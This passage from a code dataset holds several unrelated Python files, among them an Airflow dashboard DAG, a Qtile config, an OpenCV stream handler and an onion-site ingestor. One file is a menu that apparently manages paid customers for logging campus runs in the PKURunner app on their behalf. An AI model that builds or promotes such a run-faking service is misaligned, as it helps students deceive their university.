'+self.FinishedRuns,line)\n\t\tline=self.InsertAt(2,3,'Remaining : '+self.RemainingRuns,line)\n\t\tself.stat_lines.append(line)\n\n\t\tncustomers=max(len(self.fin_customers),len(self.rem_customers))\t\n\t\tcustomer_stats=[' ']*ncustomers\n\t\ttmp_list=[self.InsertAt(0,2,'No more Finished customer',' ',centering=True)for s in customer_stats]\n\t\tcustomer_stats=[self.InsertAt(1,2,'No more Remaining customer',t,centering=True)for t in tmp_list]\n\t\tfor i in range (len(self.fin_customers)):\n\t\t\tcustomer_stats[i]=self.InsertAt(0,2,self.fin_customers[i],customer_stats[i])\n\t\tfor i in range( len(self.rem_customers)):\n\t\t\tcustomer_stats[i]=self.InsertAt(1,2,self.rem_customers[i],customer_stats[i])\n\t\tself.progress=[s for s in customer_stats]\n\t\n\tdef show(self):\n\t\tprint(self.padding+self.head_body)\n\t\tprint(self.padding+self.blankline)\n\t\tprint(self.padding+self.title)\n\t\tprint(self.padding+self.blankline)\n\t\tprint(self.padding+self.InsertAt(1,3,'Brief Summary : ',' '))\n\t\tfor s in self.stat_lines:\n\t\t\tprint(self.padding+s)\n\t\tprint(self.padding+self.blankline)\n\t\tline=self.InsertAt(0,2,'Finished Customers : ',' ',centering=False)\n\t\tprint(self.padding+self.InsertAt(1,2,'Remaining Customers :',line,centering=True))\n\t\tfor l in self.progress:\n\t\t\tprint(self.padding+l)\n\n\t\tprint(self.padding+self.InsertAt(1,3,' Menu : 0 for exit',' '))\n\t\tline=self.InsertAt(0,2,'1.Add a new user',' ')\n\t\tline=self.InsertAt(1,2,'2.Remove a new user',line)\n\t\tprint(self.padding+line)\n\t\tline=self.InsertAt(0,2,'3.Show all records of a user',' ')\n\t\tline=self.InsertAt(1,2,'4.PKU hole watcher',line)\n\t\tprint(self.padding+line)\n\n\t\tprint(self.padding+self.bottom_body)\n\t\t\n\tdef get_stats(self):\n\t\tcnx = mysql.connector.connect(user=UserName, password=PassWord,host=HostName,database=DBName)\n\t\tcursor=cnx.cursor(buffered=True)\n\t\tquery1='select sum(price),min(price/total_miles),sum(total_miles),sum(miles_finished),sum(runs_needed),sum(runs_finished) from customer'\n\t\tcursor.execute(query1)\n\t\tres1=cursor.fetchone()\n\t\t#(Decimal('839'), Decimal('0.0000'), Decimal('287'), Decimal('344'), Decimal('0'), Decimal('4'))\n\t\tself.Price=str(res1[0])[:4]\n\t\tself.LowestRate=str(res1[1])[:4]\n\t\tself.Miles=str(res1[2])[:4]\n\t\tself.FinishedMiles=str(res1[3])[:4]\n\t\tself.Runs=str(res1[4])[:4]\n\t\tself.FinishedRuns=str(res1[5])[:4]\n\t\tself.AvgRate=str(int(self.Price)/int(self.Miles))[:4]\n\t\tself.RemainingMiles=int(self.Miles)-int(self.FinishedMiles)\n\t\tself.RemainingMiles=max(0,self.RemainingMiles)\n\t\tself.RemainingMiles=str(self.RemainingMiles)\n\t\tself.RemainingRuns=max(0,int(self.Runs)-int(self.FinishedRuns))\n\t\tself.RemainingRuns=str(self.RemainingRuns)\n\n\t\tquery='select id,price from customer where miles_finished > total_miles and runs_finished> runs_needed'\n\t\tcursor=cnx.cursor(buffered=True)\n\t\tcursor.execute(query)\n\t\tself.fin_customers=cursor.fetchall()\n\t\ttmplist=['ID: '+str(customer[0])+' Price: '+str(customer[1])+' '*4 for customer in self.fin_customers]\n\t\tlens=[len(tmp) for tmp in tmplist]\n\t\tminlen=min(lens)\n\t\tself.fin_customers=[tmp[:minlen]for tmp in tmplist]\n\t\t\n\t\t# shape:\n\t\t#[('1500013705', 150), ('1800016202', 0), ('1910305309', 0)]\n\t\tquery='select id,total_miles-miles_finished,runs_needed-runs_finished from customer where miles_finished < total_miles or runs_finished> runs_needed '\n\t\tcursor=cnx.cursor(buffered=True)\n\t\tcursor.execute(query)\n\t\tself.rem_customers=cursor.fetchall()\n\t\ttmplist=['ID:'+str(customer[0])+' Miles:'+(str(customer[1])+' '*4)[:4]+' Runs:'+(str(customer[2])+' '*4)[:4] for customer in self.rem_customers]\n\t\tself.rem_customers=[tmp for tmp in tmplist]\n\n\t\t# shape:\n\t\t#[('1500013705', 150), ('1800016202', 0), ('1910305309', 0)]\n\t\t\n\t\tcursor.close()\n\t\tcnx.close()\n\n\tdef InsertAt(self,i,nPart,text,bed,centering=False):\n\t\tif len(bed)<72:\n\t\t\tbed=self.template_body\n\t\tslice_len=(len(bed)-2)/nPart\n\t\tslice_len=int(slice_len)\n\t\tbeg=slice_len*i+1\n\t\tend=slice_len*(i+1)+1\n\t\tif len(text)slice_len:\n\t\t\ttext=text[:slice_len]\n\t\tres=bed[:beg]+text+bed[end:]\n\t\treturn res\n\n\tdef serve(self):\n\t\twhile(True):\n\t\t\tself.show()\n\t\t\tchoice =int(input(self.padding+'Your choice :'))\n\t\t\tclear()\n\t\t\tif choice==1:\n\t\t\t\tadd_user()\n\t\t\tif choice==2:\n\t\t\t\tdelete_user()\n\t\t\tif choice==3:\n\t\t\t\tshow_records()\n\t\t\tif choice==4:\n\t\t\t\tselectHole()\n\t\t\tif choice==0:\n\t\t\t\tbreak\n\n\nif __name__ == \"__main__\":\n\tm=Menu()\n\tm.serve()\n","sub_path":"runner/PKURunner/mymenu.py","file_name":"mymenu.py","file_ext":"py","file_size_in_byte":5955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"350211932","text":"import socketserver\nimport cv2\nimport numpy as np\n\nclass VideoStreamHandler(socketserver.StreamRequestHandler):\n def handle(self):\n stream_bytes = b' '\n try:\n while True:\n stream_bytes += self.rfile.read(1024)\n first = stream_bytes.find(b'\\xff\\xd8')\n last = stream_bytes.find(b'\\xff\\xd9')\n if first != -1 and last != -1:\n jpg = stream_bytes[first:last + 2]\n stream_bytes = stream_bytes[last + 2:]\n image = self.image(jpg)\n gray = self.gray(image)\n gray = gray[130:320, :]\n blur = self.blur(gray)\n canny = self.canny(blur)\n lines = cv2.HoughLinesP(canny,1,np.pi/180,20,minLineLength=60,maxLineGap=30)\n imgls = add_lines(canny, lines)\n #gray = cv2.imdecode(np.frombuffer(jpg, dtype=np.uint8), cv2.IMREAD_GRAYSCALE)\n #image = cv2.imdecode(np.frombuffer(jpg, dtype=np.uint8), cv2.IMREAD_COLOR)\n cv2.imshow('image', image)\n cv2.imshow('canny', canny)\n cv2.imshow('lines', imgls)\n #height, width = gray.shape\n #roi = gray[int(height/2):height, :]\n #image_array = roi.reshape(1, int(height/2) * width).astype(np.float32)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n finally:\n cv2.destroyAllWindows()\n\n def image(self, jpg):\n return cv2.imdecode(np.frombuffer(jpg, dtype=np.uint8), cv2.IMREAD_COLOR)\n \n def gray(self, image):\n return cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n\n def blur(self, gray):\n #return cv2.GaussianBlur(gray, (5, 5), 0)\n return cv2.GaussianBlur(gray, (7, 7), 0)\n \n def canny(self, blur):\n return cv2.Canny(blur, 50, 150)\n\ndef add_lines(image, lines):\n line_image = np.zeros_like(image)\n if lines is not None:\n for line in lines:\n x1, y1, x2, y2 = line.reshape(4)\n cv2.line(line_image, (x1, y1), (x2, y2), 255, 10)\n return line_image","sub_path":"server/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":2209,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"276868760","text":"# -*- coding: utf-8 -*-\n\nfrom Lessons.ex2b_odd_occurrences_in_array import solution\nfrom random import randint\n\n\ndef test_simple_array():\n assert solution([9, 3, 9, 3, 9, 7, 9]) == 7\n\n\ndef test_complex_array():\n A = []\n length = int(1000000 / 2)\n\n for i in range(length):\n A.append(randint(0, 1000000000))\n\n A = list(set(A)) * 2\n A.append(A[0])\n\n assert solution(A) == A[0]\n","sub_path":"Test/test_ex2b_odd_occurrences_in_array.py","file_name":"test_ex2b_odd_occurrences_in_array.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"527538313","text":"\nfrom numpy import sinc\nfrom airflow import DAG\nfrom airflow.operators.python_operator import PythonOperator\nfrom airflow.operators.postgres_operator import PostgresOperator\nfrom airflow.utils.dates import days_ago\nfrom datetime import datetime, timedelta, timezone\nfrom datetime import date\nfrom hooks.elastic_hook import ElasticHook\nfrom airflow.operators.http_operator import SimpleHttpOperator\nimport requests\nfrom airflow.hooks.base import BaseHook\nimport logging\nimport json\nimport urllib\nfrom queries.tl import *\nfrom queries.pgr import *\nfrom queries.ws import *\nfrom queries.ws_digit import *\nfrom queries.pt import *\nfrom queries.firenoc import *\nfrom queries.mcollect import *\nfrom queries.obps import *\nfrom queries.common import *\nfrom utils.utils import log\nfrom pytz import timezone\nfrom airflow.models import Variable\nfrom elasticsearch import Elasticsearch, helpers\nfrom csv import reader\nimport uuid\n\n\ndefault_args = {\n 'owner': 'airflow',\n 'depends_on_past': False,\n 'retries': 3,\n 'retry_delay': timedelta(seconds=10),\n 'start_date': datetime(2017, 1, 24)\n\n}\n\nmodule_map = {\n 'TL' : (tl_queries, empty_tl_payload),\n 'PGR' : (pgr_queries, empty_pgr_payload),\n 'WS' : (ws_queries, empty_ws_payload),\n 'WS_DIGIT' : (ws_digit_queries, empty_ws_digit_payload),\n 'PT' : (pt_queries, empty_pt_payload),\n 'FIRENOC' : (firenoc_queries, empty_firenoc_payload),\n 'MCOLLECT' : (mcollect_queries, empty_mcollect_payload),\n 'OBPS' : (obps_queries, empty_obps_payload),\n 'COMMON' : (common_queries,empty_common_payload)\n}\n\n\ndag = DAG('national_dashboard_template_manual', default_args=default_args, schedule_interval=None)\nlog_endpoint = 'kibana/api/console/proxy'\nbatch_size = 50\n\nulbs = {}\nmodules = {}\ntotal_ulbs = 0\ntotalApplications = 0\ntotalApplicationWithinSLA = 0\n\n\n\ndef dump_kibana(**kwargs):\n hook = ElasticHook('GET', 'es_conn')\n module = kwargs['module']\n module_config = module_map.get(module)\n queries = module_config[0]\n date = kwargs['dag_run'].conf.get('date')\n localtz = timezone('Asia/Kolkata')\n dt_aware = localtz.localize(datetime.strptime(date, \"%d-%m-%Y\"))\n start = int(dt_aware.timestamp() * 1000)\n end = start + (24 * 60 * 60 * 1000) - 1000\n logging.info(start)\n logging.info(end)\n logging.info(\"start the DAGS\")\n if module == 'COMMON':\n actualstart = int(localtz.localize(datetime.strptime('01-01-1970', \"%d-%m-%Y\")).timestamp() * 1000)\n end = start + (24 * 60 * 60 * 1000) - 1000\n start = actualstart\n\n merged_document = {}\n live_ulbs = 0\n\n isStateLive = \"N/A\"\n for query in queries:\n q = query.get('query').format(start,end)\n logging.info(q)\n response = hook.search(query.get('path'),json.loads(q))\n merged_document[query.get('name')] = response\n logging.info(json.dumps(response))\n if module == 'COMMON' :\n transform_response_common(merged_document,query.get('name'),query.get('module'))\n\n\n if module == 'COMMON':\n present = datetime.strptime(date,\"%d-%m-%Y\")\n logging.info(present.strftime(\"%Y-%m-%d %H:%M:%S\"))\n citizen_count = get_citizen_count(present.strftime(\"%Y-%m-%d %H:%M:%S\"))\n total_ulbs = readulb()\n common_metrics = {}\n module_ulbs = []\n for tenantid in ulbs:\n if len(ulbs[tenantid]) >= 2:\n live_ulbs +=1\n for md in ulbs[tenantid]:\n if md in modules:\n modules[md].append(tenantid)\n else:\n modules[md] = [tenantid]\n\n if live_ulbs >= total_ulbs/2:\n isStateLive = \"Live\"\n\n for md in modules:\n module_ulbs.append({'name': md, 'value': len(modules[md])})\n\n common_metrics['totalLiveUlbsCount'] = live_ulbs\n common_metrics['status'] = isStateLive\n common_metrics['onboardedUlbsCount'] = 0\n common_metrics['totalCitizensCount'] = citizen_count\n common_metrics['slaAchievement'] = (totalApplicationWithinSLA/totalApplications) * 100\n common_metrics['totalUlbCount'] = total_ulbs\n common_metrics['liveUlbsCount'] = [{'groupBy': 'serviceModuleCode', 'buckets': module_ulbs}]\n logging.info(json.dumps(common_metrics))\n\n empty_lambda = module_config[1]\n common_list = []\n common_payload = empty_lambda('N/A', 'pb.amritsar', 'N/A', date)\n common_payload['metrics'] = common_metrics\n common_list.append(common_payload)\n kwargs['ti'].xcom_push(key='payload_{0}'.format(module), value=json.dumps(common_list))\n return json.dumps(common_list)\n else:\n ward_list = transform_response_sample(merged_document, date, module)\n kwargs['ti'].xcom_push(key='payload_{0}'.format(module), value=json.dumps(ward_list))\n return json.dumps(ward_list)\n\n\ndef readulb(**kwargs):\n ulbs = []\n url = Variable.get('totalulb_url')\n url = 'https://raw.githubusercontent.com/egovernments/punjab-mdms-data/master/data/pb/tenant/tenants.json'\n json_data = requests.get(url)\n json_data = json.loads(json_data.text)\n tenants_array=json_data[\"tenants\"]\n for tenant in tenants_array:\n ulbs.append(tenant[\"code\"])\n total_ulbs = len(ulbs)\n return total_ulbs\n\ndef get_citizen_count(startdate):\n logging.info('http://mseva.lgpunjab.gov.in/egov-searcher/unique-citizen-count?date={0}'.format(startdate))\n response = requests.get('http://mseva.lgpunjab.gov.in/egov-searcher/unique-citizen-count?date={0}'.format(startdate))\n if response.status_code == 200:\n logging.info(\"sucessfully fetched the data\")\n return response.json()\n else:\n logging.info(\"There is an error {0} error with your request\".format(response.status_code))\n\n\ndef transform_response_common(merged_document,query_name,query_module):\n single_document = merged_document[query_name]\n single_document = single_document.get('aggregations')\n transform_single_common(single_document,query_module)\n\ndef transform_single_common(single_document,query_module):\n global totalApplicationWithinSLA,totalApplications\n sla = single_document.get('applicationsIssuedWithinSLA').get('withinsla').get('value')\n total = single_document.get('totalApplications').get('value')\n totalApplications+=total\n totalApplicationWithinSLA+=sla\n\n\n ulb_agg = single_document.get('ulbs')\n ulb_buckets = ulb_agg.get('buckets')\n for ulb_bucket in ulb_buckets:\n tenantid = ulb_bucket['key']\n if tenantid in ulbs:\n ulbs[tenantid].append(query_module)\n else:\n ulbs[tenantid] = [query_module]\n\n\n\ndef transform_response_sample(merged_document, date, module):\n module_config = module_map.get(module)\n queries = module_config[0]\n ward_map = {}\n ward_list = []\n for query in queries:\n single_document = merged_document[query.get('name')]\n single_document = single_document.get('aggregations')\n lambda_function = query.get('lambda')\n ward_map = transform_single(single_document, ward_map, date, lambda_function, module)\n ward_list = [ward_map[k] for k in ward_map.keys()]\n return ward_list\n\ndef get_key(ward, ulb):\n return '{0}|{1}'.format(ward, ulb)\n\ndef transform_single(single_document, ward_map, date, lambda_function, module):\n module_config = module_map.get(module)\n empty_lambda = module_config[1]\n ward_agg = single_document.get('ward')\n ward_buckets = ward_agg.get('buckets')\n for ward_bucket in ward_buckets:\n ward = ward_bucket.get('key')\n ulb_agg = ward_bucket.get('ulb')\n ulb_buckets = ulb_agg.get('buckets')\n for ulb_bucket in ulb_buckets:\n ulb = ulb_bucket.get('key')\n region_agg = ulb_bucket.get('region')\n region_buckets = region_agg.get('buckets')\n for region_bucket in region_buckets:\n region = region_bucket.get('key')\n if ward_map.get(get_key(ward,ulb)):\n ward_payload = ward_map.get(get_key(ward,ulb))\n else:\n ward_payload = empty_lambda(region, ulb, ward, date)\n metrics = ward_payload.get('metrics')\n metrics = lambda_function(metrics, region_bucket)\n ward_payload['metrics'] = metrics\n ward_map[get_key(ward, ulb)] = ward_payload\n return ward_map\n\n\ndef dump(**kwargs):\n ds = kwargs['ds']\n hook = ElasticHook('GET', 'test-es')\n resp = hook.search('/dss-collection_v2', {\n 'size': 10000,\n \"query\": {\n \"term\": {\n \"dataObject.paymentDetails.businessService.keyword\": \"TL\"\n }\n }\n })\n return resp['hits']['hits']\n\ndef get_auth_token(connection):\n endpoint = 'user/oauth/token'\n url = '{0}://{1}/{2}'.format('https', connection.host, endpoint)\n data = {\n 'grant_type' : 'password',\n 'scope' : 'read',\n 'username' : Variable.get('username'),\n 'password' : Variable.get('password'),\n 'tenantId' : Variable.get('tenantid'),\n 'userType' : Variable.get('usertype')\n }\n\n r = requests.post(url, data=data, headers={'Authorization' : 'Basic {0}'.format(Variable.get('token')), 'Content-Type' : 'application/x-www-form-urlencoded'})\n response = r.json()\n logging.info(response)\n return (response.get('access_token'), response.get('refresh_token'), response.get('UserRequest'))\n\n\ndef call_ingest_api(connection, access_token, user_info, payload, module,startdate):\n endpoint = 'national-dashboard/metric/_ingest'\n url = '{0}://{1}/{2}'.format('https', connection.host, endpoint)\n data = {\n \"RequestInfo\": {\n \"apiId\": \"asset-services\",\n \"ver\": None,\n \"ts\": None,\n \"action\": None,\n \"did\": None,\n \"key\": None,\n \"msgId\": \"search with from and to values\",\n \"authToken\": access_token,\n \"userInfo\": user_info\n },\n \"Data\": payload\n\n }\n\n\n r = requests.post(url, data=json.dumps(data), headers={'Content-Type' : 'application/json'})\n response = r.json()\n logging.info(json.dumps(data))\n logging.info(response)\n\n #logging to the index adaptor_logs\n q = {\n 'timestamp' : startdate,\n 'module' : module,\n 'severity' : 'Info',\n 'state' : 'Punjab',\n 'message' : json.dumps(response)\n }\n es = Elasticsearch(host = \"elasticsearch-data-v1.es-cluster\", port = 9200)\n actions = [\n {\n '_index':'adaptor_logs',\n '_type': '_doc',\n '_id': str(uuid.uuid1()),\n '_source': json.dumps(q),\n }\n ]\n helpers.bulk(es, actions)\n return response\n\n\n\ndef load(**kwargs):\n connection = BaseHook.get_connection('digit-auth')\n (access_token, refresh_token, user_info) = get_auth_token(connection)\n module = kwargs['module']\n\n payload = kwargs['ti'].xcom_pull(key='payload_{0}'.format(module))\n logging.info(payload)\n payload_obj = json.loads(payload)\n logging.info(\"payload length {0} {1}\".format(len(payload_obj),module))\n localtz = timezone('Asia/Kolkata')\n dt_aware = localtz.localize(datetime.strptime(kwargs['dag_run'].conf.get('date'), \"%d-%m-%Y\"))\n startdate = int(dt_aware.timestamp() * 1000)\n logging.info(startdate)\n if access_token and refresh_token:\n for i in range(0, len(payload_obj), batch_size):\n logging.info('calling ingest api for batch starting at {0} with batch size {1}'.format(i, batch_size))\n call_ingest_api(connection, access_token, user_info, payload_obj[i:i+batch_size], module,startdate)\n return None\n\ndef transform(**kwargs):\n logging.info('Your transformations go here')\n return 'Post Transformed Data'\n\n\nextract_tl = PythonOperator(\n task_id='elastic_search_extract_tl',\n python_callable=dump_kibana,\n provide_context=True,\n do_xcom_push=True,\n op_kwargs={ 'module' : 'TL'},\n dag=dag)\n\ntransform_tl = PythonOperator(\n task_id='nudb_transform_tl',\n python_callable=transform,\n provide_context=True,\n dag=dag)\n\nload_tl = PythonOperator(\n task_id='nudb_ingest_load_tl',\n python_callable=load,\n provide_context=True,\n op_kwargs={ 'module' : 'TL'},\n dag=dag)\n\n\nextract_pgr = PythonOperator(\n task_id='elastic_search_extract_pgr',\n python_callable=dump_kibana,\n provide_context=True,\n do_xcom_push=True,\n op_kwargs={ 'module' : 'PGR'},\n dag=dag)\n\ntransform_pgr = PythonOperator(\n task_id='nudb_transform_pgr',\n python_callable=transform,\n provide_context=True,\n dag=dag)\n\nload_pgr = PythonOperator(\n task_id='nudb_ingest_load_pgr',\n python_callable=load,\n provide_context=True,\n op_kwargs={ 'module' : 'PGR'},\n dag=dag)\n\nextract_ws = PythonOperator(\n task_id='elastic_search_extract_ws',\n python_callable=dump_kibana,\n provide_context=True,\n do_xcom_push=True,\n op_kwargs={ 'module' : 'WS'},\n dag=dag)\n\ntransform_ws = PythonOperator(\n task_id='nudb_transform_ws',\n python_callable=transform,\n provide_context=True,\n dag=dag)\n\nload_ws = PythonOperator(\n task_id='nudb_ingest_load_ws',\n python_callable=load,\n provide_context=True,\n op_kwargs={ 'module' : 'WS'},\n dag=dag)\n\n\nextract_pt = PythonOperator(\n task_id='elastic_search_extract_pt',\n python_callable=dump_kibana,\n provide_context=True,\n do_xcom_push=True,\n op_kwargs={ 'module' : 'PT'},\n dag=dag)\n\ntransform_pt = PythonOperator(\n task_id='nudb_transform_pt',\n python_callable=transform,\n provide_context=True,\n dag=dag)\n\nload_pt = PythonOperator(\n task_id='nudb_ingest_load_pt',\n python_callable=load,\n provide_context=True,\n op_kwargs={ 'module' : 'PT'},\n dag=dag)\n\nextract_firenoc = PythonOperator(\n task_id='elastic_search_extract_firenoc',\n python_callable=dump_kibana,\n provide_context=True,\n do_xcom_push=True,\n op_kwargs={ 'module' : 'FIRENOC'},\n dag=dag)\n\ntransform_firenoc = PythonOperator(\n task_id='nudb_transform_firenoc',\n python_callable=transform,\n provide_context=True,\n dag=dag)\n\nload_firenoc = PythonOperator(\n task_id='nudb_ingest_load_firenoc',\n python_callable=load,\n provide_context=True,\n op_kwargs={ 'module' : 'FIRENOC'},\n dag=dag)\n\n\nextract_mcollect = PythonOperator(\n task_id='elastic_search_extract_mcollect',\n python_callable=dump_kibana,\n provide_context=True,\n do_xcom_push=True,\n op_kwargs={ 'module' : 'MCOLLECT'},\n dag=dag)\n\ntransform_mcollect = PythonOperator(\n task_id='nudb_transform_mcollect',\n python_callable=transform,\n provide_context=True,\n dag=dag)\n\nload_mcollect = PythonOperator(\n task_id='nudb_ingest_load_mcollect',\n python_callable=load,\n provide_context=True,\n op_kwargs={ 'module' : 'MCOLLECT'},\n dag=dag)\n\nextract_common = PythonOperator(\n task_id='elastic_search_extract_common',\n python_callable=dump_kibana,\n provide_context=True,\n do_xcom_push=True,\n op_kwargs={ 'module' : 'COMMON'},\n dag=dag)\n\ntransform_common = PythonOperator(\n task_id='nudb_transform_common',\n python_callable=transform,\n provide_context=True,\n dag=dag)\n\nload_common = PythonOperator(\n task_id='nudb_ingest_load_common',\n python_callable=load,\n provide_context=True,\n op_kwargs={ 'module' : 'COMMON'},\n dag=dag)\n\n# extract_ws_digit = PythonOperator(\n# task_id='elastic_search_extract_ws_digit',\n# python_callable=dump_kibana,\n# provide_context=True,\n# do_xcom_push=True,\n# op_kwargs={ 'module' : 'WS_DIGIT'},\n# dag=dag)\n\n# transform_ws_digit = PythonOperator(\n# task_id='nudb_transform_ws_digit',\n# python_callable=transform,\n# provide_context=True,\n# dag=dag)\n\n# load_ws_digit = PythonOperator(\n# task_id='nudb_ingest_load_ws_digit',\n# python_callable=load,\n# provide_context=True,\n# op_kwargs={ 'module' : 'WS_DIGIT'},\n# dag=dag)\n\n# extract_obps = PythonOperator(\n# task_id='elastic_search_extract_obps',\n# python_callable=dump_kibana,\n# provide_context=True,\n# do_xcom_push=True,\n# op_kwargs={ 'module' : 'OBPS'},\n# dag=dag)\n\n# transform_obps = PythonOperator(\n# task_id='nudb_transform_obps',\n# python_callable=transform,\n# provide_context=True,\n# dag=dag)\n\n# load_obps = PythonOperator(\n# task_id='nudb_ingest_load_obps',\n# python_callable=load,\n# provide_context=True,\n# op_kwargs={ 'module' : 'OBPS'},\n# dag=dag)\n\n\n\nextract_tl >> transform_tl >> load_tl\nextract_pgr >> transform_pgr >> load_pgr\nextract_ws >> transform_ws >> load_ws\nextract_pt >> transform_pt >> load_pt\nextract_firenoc >> transform_firenoc >> load_firenoc\nextract_mcollect >> transform_mcollect >> load_mcollect\nextract_common >> transform_common >> load_common\n#extract_ws_digit >> transform_ws_digit >> load_ws_digit\n#extract_obps >> transform_obps >> load_obps","sub_path":"utilities/egov-national-dashboard-accelerator/dags/national_dashboard_template_latest.py","file_name":"national_dashboard_template_latest.py","file_ext":"py","file_size_in_byte":16980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"418902066","text":"# Qtile Config File\n# http://www.qtile.org/\n\nimport re\nimport subprocess\nfrom os import path\n\nfrom libqtile import hook\nfrom libqtile.command import lazy\nfrom libqtile.config import Match, Rule\n\nfrom settings.groups import groups\nfrom settings.keys import keys, mod\nfrom settings.layouts import floating_layout, layouts\nfrom settings.mouse import mouse\nfrom settings.path import qtile_path\nfrom settings.screens import screens\nfrom settings.widgets import extension_defaults, widget_defaults\n\n\n@hook.subscribe.client_new\ndef floating_dialogs(window):\n if ((window.window.get_wm_type() == \"dialog\")\n or (window.window.get_wm_transient_for())\n or (window.window.get_wm_class() == \"Steam\")):\n window.floating = True\n\n\n@hook.subscribe.client_new\ndef idle_dialogues(window):\n if ((window.window.get_name() == \"Search Dialog\")\n or (window.window.get_name() == \"Module\")\n or (window.window.get_name() == \"Goto\")\n or (window.window.get_name() == \"IDLE Preferences\")\n or (window.window.get_name() == \"ranger\")\n or (window.window.get_name() == \"Stacer\")\n or (window.window.get_name() == \"Library\") or\n # (window.window.get_name() == 'Android Virtual Device Manager') or\n (window.window.get_wm_class() == \"jetbrains-studio\")\n or (window.window.get_wm_type() == \"dialog\")\n or (re.search(\"note*\", window.window.get_name()))\n or (re.search(\"Xephyr*\", window.window.get_name()))\n or (re.search(\"Sign In*\", window.window.get_name()))\n or (re.search(\"Android Emulator - *\", window.window.get_name()))\n or (re.search(\"Android Emulator - FlutterEmu0:5554\",\n window.window.get_name())) or (False)):\n window.floating = True\n\n\n@hook.subscribe.startup_once\ndef autostart():\n subprocess.call([path.join(qtile_path, \"autostart.sh\")])\n\n\n@hook.subscribe.client_managed\ndef change_size(window):\n if (window.window.get_name()\n == \"Android Virtual Device Manager\") or (False):\n pass\n\n\nmain = None # deprecated\ndgroups_key_binder = None\n\ndgroups_app_rules = [\n Rule(Match(wm_class=[\"Vimb\"]), group=\"  \"),\n Rule(Match(wm_class=[\"firefox\"]), group=\"  \"),\n Rule(Match(wm_class=[\"discord\"]), group=\" ﭮ \"),\n Rule(Match(wm_class=[\"Steam\"]), group=\"  \"),\n Rule(Match(title=[\"Android Emulator - FlutterEmu0:5554\"]), float=True)\n # Rule(Match(title=['Sign in - Google accounts -- Mozilla Firefox']), float=True)\n]\n\nfollow_mouse_focus = True\nbring_front_click = False\ncursor_warp = True\nauto_fullscreen = True\nfocus_on_window_activation = \"urgent\"\nwmname = \"LG3D\"\n","sub_path":".config/qtile/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"131335358","text":"import sys\nimport time\nimport traceback\nimport collections\n\nfrom . import config\nfrom . import dbhandler\nfrom . import loghandler\n\n\nclass Ingestor:\n \"\"\"ThreatIngestor main work logic.\n\n Handles reading the config file, calling sources, maintaining state, and\n sending artifacts to operators.\n \"\"\"\n def __init__(self, args):\n # Load logger\n log = loghandler.LoggerHandler(args.logLevel)\n self.logger = log.start_logging()\n # Load config\n self.config = config.Config(args.configFile, self.logger)\n self.blacklist = self.config.blacklist()\n\n # Load Elasticsearch.\n try:\n self.es = dbhandler.DbHandlerElasticSearch(\n self.config.elasticsearch(),\n self.logger)\n except Exception as e:\n # Error loading elasticsearch.\n self.logger.error(e)\n self.logger.debug(traceback.print_exc())\n sys.exit(1)\n\n\n # Instantiate plugins.\n try:\n self.logger.info(\"Initializing sources\")\n self.sources = {name: source(self.logger, **kwargs)\n for name, source, kwargs in self.config.sources()}\n\n self.logger.info(\"initializing operators\")\n self.operators = {name: operator(self.logger, self.es, self.blacklist, **kwargs)\n for name, operator, kwargs in self.config.operators()}\n\n self.logger.info(\"initializing notifiers\")\n #self.notifiers = {name: operator(**kwargs)\n # for name, operator, kwargs in self.config.notifiers()}\n except Exception as e:\n # Error loading elasticsearch.\n self.logger.error(e)\n self.logger.debug(traceback.print_exc())\n sys.exit(1)\n\n\n def run(self):\n \"\"\"Run once, or forever, depending on config.\"\"\"\n if self.config.daemon():\n self.logger.info(\"Running forever, in a loop\")\n self.run_forever()\n else:\n self.logger.info(\"Running once, to completion\")\n self.run_once()\n\n\n def run_once(self):\n \"\"\"Run each source once, passing artifacts to each operator.\"\"\"\n # Track some statistics about artifacts in a summary object.\n summary = collections.Counter()\n\n for source in self.sources:\n # Run the source to collect artifacts.\n self.logger.info(f\"Running source '{source}'\")\n try:\n # get the generator of onions\n onions = self.sources[source].run()\n except Exception as e:\n self.logger.error(e)\n self.logger.error(traceback.print_exc())\n continue\n\n # Process onions with each operator.\n for operator in self.operators:\n self.logger.info(f\"Processing found onions with operator '{operator}'\")\n try:\n self.operators[operator].process(onions)\n # Save the source onion with collected data\n except Exception as e:\n self.logger.error(e)\n self.logger.error(traceback.print_exc())\n continue\n\n\n\n# # Record stats and update the summary.\n# types = artifact_types(doc.get('interestingKeywords'))\n# summary.update(types)\n# for artifact_type in types:\n# self.logger.info(f'types[artifact_type]')\n\n # Log the summary.\n self.logger.info(f\"New artifacts: {dict(summary)}\")\n\n\n def run_forever(self):\n \"\"\"Run forever, sleeping for the configured interval between each run.\"\"\"\n while True:\n self.run_once()\n\n self.logger.info(f\"Sleeping for {self.config.sleep()} seconds\")\n time.sleep(self.config.sleep())\n\n\ndef artifact_types(artifact_list):\n \"\"\"Return a dictionary with counts of each artifact type.\"\"\"\n types = {}\n for artifact in artifact_list:\n artifact_type = artifact.__class__.__name__.lower()\n if artifact_type in types:\n types[artifact_type] += 1\n else:\n types[artifact_type] = 1\n\n return types\n\n\n","sub_path":"onioningestor/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4224,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"401657367","text":"# Using text2 from the nltk book corpa, create your own version of the\n# MadLib program. \n\n# Requirements:\n# 1) Only use the first 150 tokens\n# 2) Pick 5 parts of speech to prompt for, including nouns\n# 3) Replace nouns 15% of the time, everything else 10%\n\n# Deliverables:\n# 1) Print the orginal text (150 tokens)\n# 1) Print the new text\nprint(\"START*******\")\n\nimport nltk\nfrom nltk.book import *\nimport random\n#makes SnStext equal to the first 150 tokens of text 2 from the nltk corpus which is Sense and Sensibility\nSnStext = text2[:150]\n#PRINT ORIGINAL STRING CODE\n\noriginal_str = \"\"\n# iterates over the tokens in SnStext and adds it to a string and then prints 